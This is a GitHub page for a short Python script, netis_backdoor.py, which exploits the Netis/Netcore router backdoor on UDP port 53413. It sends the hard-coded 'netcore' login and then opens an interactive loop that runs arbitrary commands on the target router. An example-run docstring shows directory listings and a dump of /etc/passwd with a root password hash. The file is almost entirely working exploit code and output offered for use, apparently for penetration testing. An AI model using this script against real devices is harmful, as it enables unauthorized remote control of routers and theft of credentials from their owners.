-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathnetis_backdoor.py
70 lines (63 loc) · 1.44 KB
/
netis_backdoor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import socket
import argparse
import binascii
'''
Example run:
root@rageKali:/media/veracrypt1/stcyr/git/MSF-Testing-Scripts# python netis_backdoor.py 192.168.1.1
Unlocking Backdoor
Quit to quit loop
Netis> ls /tmp/
AuCVM
XqdHc
bVOQm
br_type
bridge_init
cfg-macclone
checkupfile
ddfile
default_rt
dhcpd_action
file.txt
hzbjo
igd_config.old
jiDOo
log
ntp_tmp
passwd
reg_domain
syslogd_support
tmp.txt
update_main
version
wan_type
workmode
Netis> cat /etc/passwd
root:abSQTPcIskFGc:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody:/:
'''
parser = argparse.ArgumentParser(description='Netis backdoor')
parser.add_argument('IP', help='IP of router to connect to')
args = parser.parse_args()
def send(command, print_response = True):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#s.connect((args.IP, 53413))
s.sendto("AA\x00\x00AAAA%s\x00" %(command), (args.IP, 53413))
if print_response:
resp = s.recv(2048)
resp = resp[8:]
if binascii.hexlify(resp) == "000000ff":
print("No response, command not found or error in command")
else:
print(resp)
def login():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#s.connect((args.IP, 53413))
s.sendto("AAAAAAAAnetcore\x00", (args.IP, 53413))
print("Unlocking Backdoor")
login()
input = ""
print("Quit to quit loop")
input = raw_input("Netis> ").strip()
while not input.strip().upper() in ["QUIT","EXIT"]:
send(" " + input)
input = raw_input("Netis> ").strip()